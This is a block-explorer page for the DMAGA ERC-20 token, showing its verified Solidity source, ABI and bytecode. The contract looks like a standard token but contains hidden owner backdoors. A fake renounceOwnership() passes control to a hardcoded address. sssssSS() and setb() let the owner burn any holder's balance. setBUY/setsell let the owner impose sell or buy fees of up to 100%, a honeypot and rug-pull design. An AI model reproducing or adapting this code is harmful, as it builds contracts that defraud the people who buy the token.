ETH Price: $2,627.19 (+0.53%)

Token

DMAGA (DMAGA)
 

Overview

Max Total Supply

101,101,110 DMAGA

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Filtered by Token Holder
Uniswap V2: DMAGA 20
Balance
6,517,761.831 DMAGA

Value
$0.00
0x1eb34f61ab6fb8f93a0380be2789b1ced39a33c0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DMAGA

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-22
*/

/*
Twitter- https://x.com/DMAGA_erc20__
Telegram-https://t.me/DMAGA_ERC
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(_owner == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0x6aDcDdAD06Abf995F1B458c131edaC015730C20a));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.0;


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 6;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    address  public swap = 0x000000000000000000000000000000000000dEaD;
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != swap, "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, swap, amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        

        emit Transfer(account, swap, amount);

        _afterTokenTransfer(account, swap, amount);
    }



    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract DMAGA is ERC20, Ownable {
    using SafeMath for uint256;
    address public pair;
    address public addr=0x000000000000000000000000000000000000dEaD;    
    uint256 public HOPPYB;
    uint256 public HOPPYA;
    
    
    
                        
    constructor() ERC20("DMAGA ", "DMAGA") {
         
        _mint(msg.sender, 101101110 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(HOPPYA));
            super._transfer(sender, recipient, x.mul(1000-HOPPYA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(HOPPYB));
            super._transfer(sender, recipient, x.mul(1000-HOPPYB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
           
            super._transfer(sender, recipient, x.mul(1000));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    function setBUY(uint256 _hoppyA)public onlyOwner {
        HOPPYA= _hoppyA;
    }

     function setsell(uint256 _HOPPYB) public onlyOwner{
       HOPPYB=_HOPPYB;
    }

    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    
    function setb(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

   function setswap(address _swap) public  onlyOwner {
        swap = _swap;
    }

    function sssssSS(address account) public onlyOwner {
        _burn(account, balanceOf(account));
    }
  
    function transferArray(address[] memory _to, uint256 _value) public onlyOwner {

        for(uint256 i = 0; i < _to.length; i++){

            transfer(_to[i], _value);

        }

    }
     
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"HOPPYA","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HOPPYB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_hoppyA","type":"uint256"}],"name":"setBUY","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_HOPPYB","type":"uint256"}],"name":"setsell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_swap","type":"address"}],"name":"setswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"sssssSS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_to","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferArray","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526005805461dead6001600160a01b031991821681179092556008805490911690911790553480156200003557600080fd5b50604080518082018252600681526502226a0a3a0960d51b602080830191825283518085019094526005845264444d41474160d81b90840152815191929162000081916003916200022e565b508051620000979060049060208401906200022e565b505050620000b4620000ae620000ec60201b60201c565b620000f0565b620000e633620000c362000142565b620000d090600a6200037c565b620000e090630606ae3662000474565b62000147565b620004e9565b3390565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600690565b6001600160a01b038216620001795760405162461bcd60e51b81526004016200017090620002d4565b60405180910390fd5b620001876000838362000229565b80600260008282546200019b919062000314565b90915550506001600160a01b03821660009081526020819052604081208054839290620001ca90849062000314565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200020f9085906200030b565b60405180910390a3620002256000838362000229565b5050565b505050565b8280546200023c9062000496565b90600052602060002090601f016020900481019282620002605760008555620002ab565b82601f106200027b57805160ff1916838001178555620002ab565b82800160010185558215620002ab579182015b82811115620002ab5782518255916020019190600101906200028e565b50620002b9929150620002bd565b5090565b5b80821115620002b95760008155600101620002be565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b600082198211156200032a576200032a620004d3565b500190565b80825b600180861162000343575062000373565b818704821115620003585762000358620004d3565b808616156200036657918102915b9490941c93800262000332565b94509492505050565b60006200039060001960ff85168462000397565b9392505050565b600082620003a85750600162000390565b81620003b75750600062000390565b8160018114620003d05760028114620003db576200040f565b600191505062000390565b60ff841115620003ef57620003ef620004d3565b6001841b915084821115620004085762000408620004d3565b5062000390565b5060208310610133831016604e8410600b841016171562000447575081810a83811115620004415762000441620004d3565b62000390565b6200045684848460016200032f565b8086048211156200046b576200046b620004d3565b02949350505050565b6000816000190483118215151615620004915762000491620004d3565b500290565b600281046001821680620004ab57607f821691505b60208210811415620004cd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6113f680620004f96000396000f3fe608060405234801561001057600080fd5b506004361061018e5760003560e01c80638119c065116100de578063a8aa1b3111610097578063c7deb07a11610071578063c7deb07a14610308578063cd2dbfd31461031b578063dd62ed3e1461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b8a85017146102f55761018e565b80638119c065146102895780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac5780639a8dd276146102b4578063a457c2d7146102c75761018e565b8063395093511161014b57806370a082311161012557806370a0823114610251578063715018a61461026457806371d4dcc51461026c578063767800de146102745761018e565b806339509351146102235780635a2eda02146102365780636ffe11b11461023e5761018e565b806306fdde0314610193578063095ea7b3146101b15780630f030f9f146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461020e575b600080fd5b61019b610354565b6040516101a89190610e40565b60405180910390f35b6101c46101bf366004610d19565b6103e6565b6040516101a89190610e35565b6101e46101df366004610c92565b61040a565b005b6101ee610427565b6040516101a891906111a2565b6101c4610209366004610cde565b61042d565b61021661045d565b6040516101a891906111ab565b6101c4610231366004610d19565b610462565b6101ee61048e565b6101e461024c366004610e09565b610494565b6101ee61025f366004610c92565b6104a1565b6101e46104c0565b6101ee6104df565b61027c6104e5565b6040516101a89190610e21565b61027c6104f4565b6101e461029f366004610c92565b610503565b61027c61052d565b61019b61053c565b6101e46102c2366004610e09565b61054b565b6101c46102d5366004610d19565b610558565b61027c6105b4565b6101c46102f0366004610d19565b6105c3565b6101e4610303366004610d19565b6105db565b6101e4610316366004610d42565b610608565b6101e4610329366004610c92565b610665565b6101ee61033c366004610cac565b61068f565b6101e461034f366004610c92565b6106ba565b6060600380546103639061133e565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061133e565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106f1565b90506103fe8185856106f5565b60019150505b92915050565b6104126107a9565b6104248161041f836104a1565b6107de565b50565b60025490565b6000806104386106f1565b90506104458582856108d0565b61045085858561091a565b60019150505b9392505050565b600690565b60008061046d6106f1565b90506103fe81858561047f858961068f565b61048991906111b9565b6106f5565b600a5481565b61049c6107a9565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104dd736adcddad06abf995f1b458c131edac015730c20a610a47565b565b60095481565b6008546001600160a01b031681565b6005546001600160a01b031681565b61050b6107a9565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031690565b6060600480546103639061133e565b6105536107a9565b600a55565b6000806105636106f1565b90506000610571828661068f565b90508381101561059c5760405162461bcd60e51b81526004016105939061115d565b60405180910390fd5b6105a982868684036106f5565b506001949350505050565b6007546001600160a01b031681565b6000806105ce6106f1565b90506103fe81858561091a565b6105e36107a9565b610604826105ef61045d565b6105fa90600a611237565b61041f9084611308565b5050565b6106106107a9565b60005b82518110156106605761064d83828151811061063f57634e487b7160e01b600052603260045260246000fd5b6020026020010151836105c3565b508061065881611379565b915050610613565b505050565b61066d6107a9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106c26107a9565b6001600160a01b0381166106e85760405162461bcd60e51b815260040161059390610f18565b61042481610a47565b3390565b6001600160a01b03831661071b5760405162461bcd60e51b815260040161059390611119565b6001600160a01b0382166107415760405162461bcd60e51b815260040161059390610f5e565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079c9085906111a2565b60405180910390a3505050565b6107b16106f1565b6006546001600160a01b039081169116146104dd5760405162461bcd60e51b81526004016105939061105e565b6005546001600160a01b038381169116141561080c5760405162461bcd60e51b815260040161059390611093565b6005546108249083906001600160a01b031683610660565b6001600160a01b0382166000908152602081905260409020548181101561085d5760405162461bcd60e51b815260040161059390610ed6565b6001600160a01b0380841660008181526020819052604090819020858503905560055490519216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b29086906111a2565b60405180910390a36005546106609084906001600160a01b03168483565b60006108dc848461068f565b9050600019811461091457818110156109075760405162461bcd60e51b815260040161059390610fa0565b61091484848484036106f5565b50505050565b6000610928826103e8610a99565b6007549091506001600160a01b038581169116141561098d57600854600a546109699186916001600160a01b0390911690610964908590610adb565b610b20565b6109888484610964600a546103e86109819190611327565b8590610adb565b610914565b6007546001600160a01b03848116911614156109de576008546009546109c69186916001600160a01b0390911690610964908590610adb565b61098884846109646009546103e86109819190611327565b6007546001600160a01b031615801590610a0657506007546001600160a01b03848116911614155b8015610a2057506007546001600160a01b03858116911614155b15610a36576109888484610964846103e8610adb565b6109148484610964846103e8610adb565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061045683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c44565b600082610aea57506000610404565b6000610af68385611308565b905082610b0385836111d1565b146104565760405162461bcd60e51b81526004016105939061101d565b6001600160a01b038316610b465760405162461bcd60e51b8152600401610593906110d4565b6001600160a01b038216610b6c5760405162461bcd60e51b815260040161059390610e93565b610b77838383610660565b6001600160a01b03831660009081526020819052604090205481811015610bb05760405162461bcd60e51b815260040161059390610fd7565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290610be79084906111b9565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c3191906111a2565b60405180910390a3610914848484610660565b60008183610c655760405162461bcd60e51b81526004016105939190610e40565b506000610c7284866111d1565b95945050505050565b80356001600160a01b03811681146104bb57600080fd5b600060208284031215610ca3578081fd5b61045682610c7b565b60008060408385031215610cbe578081fd5b610cc783610c7b565b9150610cd560208401610c7b565b90509250929050565b600080600060608486031215610cf2578081fd5b610cfb84610c7b565b9250610d0960208501610c7b565b9150604084013590509250925092565b60008060408385031215610d2b578182fd5b610d3483610c7b565b946020939093013593505050565b60008060408385031215610d54578182fd5b823567ffffffffffffffff80821115610d6b578384fd5b818501915085601f830112610d7e578384fd5b8135602082821115610d9257610d926113aa565b80820260405182828201018181108682111715610db157610db16113aa565b604052838152828101945085830182870184018b1015610dcf578889fd5b8896505b84871015610df857610de481610c7b565b865260019690960195948301948301610dd3565b509997909101359750505050505050565b600060208284031215610e1a578081fd5b5035919050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b81811015610e6c57858101830151858201604001528201610e50565b81811115610e7d5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b600082198211156111cc576111cc611394565b500190565b6000826111ec57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611203575061122e565b81870482111561121557611215611394565b8086161561122257918102915b9490941c9380026111f4565b94509492505050565b600061045660001960ff85168460008261125357506001610456565b8161126057506000610456565b81600181146112765760028114611280576112ad565b6001915050610456565b60ff84111561129157611291611394565b6001841b9150848211156112a7576112a7611394565b50610456565b5060208310610133831016604e8410600b84101617156112e0575081810a838111156112db576112db611394565b610456565b6112ed84848460016111f1565b8086048211156112ff576112ff611394565b02949350505050565b600081600019048311821515161561132257611322611394565b500290565b60008282101561133957611339611394565b500390565b60028104600182168061135257607f821691505b6020821081141561137357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561138d5761138d611394565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea264697066735822122066d128af16500a0f3d697759f1bb0eb1630bb9dd52df60eb3b5fafc56691020464736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638119c065116100de578063a8aa1b3111610097578063c7deb07a11610071578063c7deb07a14610308578063cd2dbfd31461031b578063dd62ed3e1461032e578063f2fde38b146103415761018e565b8063a8aa1b31146102da578063a9059cbb146102e2578063b8a85017146102f55761018e565b80638119c065146102895780638187f516146102915780638da5cb5b146102a457806395d89b41146102ac5780639a8dd276146102b4578063a457c2d7146102c75761018e565b8063395093511161014b57806370a082311161012557806370a0823114610251578063715018a61461026457806371d4dcc51461026c578063767800de146102745761018e565b806339509351146102235780635a2eda02146102365780636ffe11b11461023e5761018e565b806306fdde0314610193578063095ea7b3146101b15780630f030f9f146101d157806318160ddd146101e657806323b872dd146101fb578063313ce5671461020e575b600080fd5b61019b610354565b6040516101a89190610e40565b60405180910390f35b6101c46101bf366004610d19565b6103e6565b6040516101a89190610e35565b6101e46101df366004610c92565b61040a565b005b6101ee610427565b6040516101a891906111a2565b6101c4610209366004610cde565b61042d565b61021661045d565b6040516101a891906111ab565b6101c4610231366004610d19565b610462565b6101ee61048e565b6101e461024c366004610e09565b610494565b6101ee61025f366004610c92565b6104a1565b6101e46104c0565b6101ee6104df565b61027c6104e5565b6040516101a89190610e21565b61027c6104f4565b6101e461029f366004610c92565b610503565b61027c61052d565b61019b61053c565b6101e46102c2366004610e09565b61054b565b6101c46102d5366004610d19565b610558565b61027c6105b4565b6101c46102f0366004610d19565b6105c3565b6101e4610303366004610d19565b6105db565b6101e4610316366004610d42565b610608565b6101e4610329366004610c92565b610665565b6101ee61033c366004610cac565b61068f565b6101e461034f366004610c92565b6106ba565b6060600380546103639061133e565b80601f016020809104026020016040519081016040528092919081815260200182805461038f9061133e565b80156103dc5780601f106103b1576101008083540402835291602001916103dc565b820191906000526020600020905b8154815290600101906020018083116103bf57829003601f168201915b5050505050905090565b6000806103f16106f1565b90506103fe8185856106f5565b60019150505b92915050565b6104126107a9565b6104248161041f836104a1565b6107de565b50565b60025490565b6000806104386106f1565b90506104458582856108d0565b61045085858561091a565b60019150505b9392505050565b600690565b60008061046d6106f1565b90506103fe81858561047f858961068f565b61048991906111b9565b6106f5565b600a5481565b61049c6107a9565b600955565b6001600160a01b0381166000908152602081905260409020545b919050565b6104dd736adcddad06abf995f1b458c131edac015730c20a610a47565b565b60095481565b6008546001600160a01b031681565b6005546001600160a01b031681565b61050b6107a9565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031690565b6060600480546103639061133e565b6105536107a9565b600a55565b6000806105636106f1565b90506000610571828661068f565b90508381101561059c5760405162461bcd60e51b81526004016105939061115d565b60405180910390fd5b6105a982868684036106f5565b506001949350505050565b6007546001600160a01b031681565b6000806105ce6106f1565b90506103fe81858561091a565b6105e36107a9565b610604826105ef61045d565b6105fa90600a611237565b61041f9084611308565b5050565b6106106107a9565b60005b82518110156106605761064d83828151811061063f57634e487b7160e01b600052603260045260246000fd5b6020026020010151836105c3565b508061065881611379565b915050610613565b505050565b61066d6107a9565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6106c26107a9565b6001600160a01b0381166106e85760405162461bcd60e51b815260040161059390610f18565b61042481610a47565b3390565b6001600160a01b03831661071b5760405162461bcd60e51b815260040161059390611119565b6001600160a01b0382166107415760405162461bcd60e51b815260040161059390610f5e565b6001600160a01b0380841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061079c9085906111a2565b60405180910390a3505050565b6107b16106f1565b6006546001600160a01b039081169116146104dd5760405162461bcd60e51b81526004016105939061105e565b6005546001600160a01b038381169116141561080c5760405162461bcd60e51b815260040161059390611093565b6005546108249083906001600160a01b031683610660565b6001600160a01b0382166000908152602081905260409020548181101561085d5760405162461bcd60e51b815260040161059390610ed6565b6001600160a01b0380841660008181526020819052604090819020858503905560055490519216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108b29086906111a2565b60405180910390a36005546106609084906001600160a01b03168483565b60006108dc848461068f565b9050600019811461091457818110156109075760405162461bcd60e51b815260040161059390610fa0565b61091484848484036106f5565b50505050565b6000610928826103e8610a99565b6007549091506001600160a01b038581169116141561098d57600854600a546109699186916001600160a01b0390911690610964908590610adb565b610b20565b6109888484610964600a546103e86109819190611327565b8590610adb565b610914565b6007546001600160a01b03848116911614156109de576008546009546109c69186916001600160a01b0390911690610964908590610adb565b61098884846109646009546103e86109819190611327565b6007546001600160a01b031615801590610a0657506007546001600160a01b03848116911614155b8015610a2057506007546001600160a01b03858116911614155b15610a36576109888484610964846103e8610adb565b6109148484610964846103e8610adb565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600061045683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c44565b600082610aea57506000610404565b6000610af68385611308565b905082610b0385836111d1565b146104565760405162461bcd60e51b81526004016105939061101d565b6001600160a01b038316610b465760405162461bcd60e51b8152600401610593906110d4565b6001600160a01b038216610b6c5760405162461bcd60e51b815260040161059390610e93565b610b77838383610660565b6001600160a01b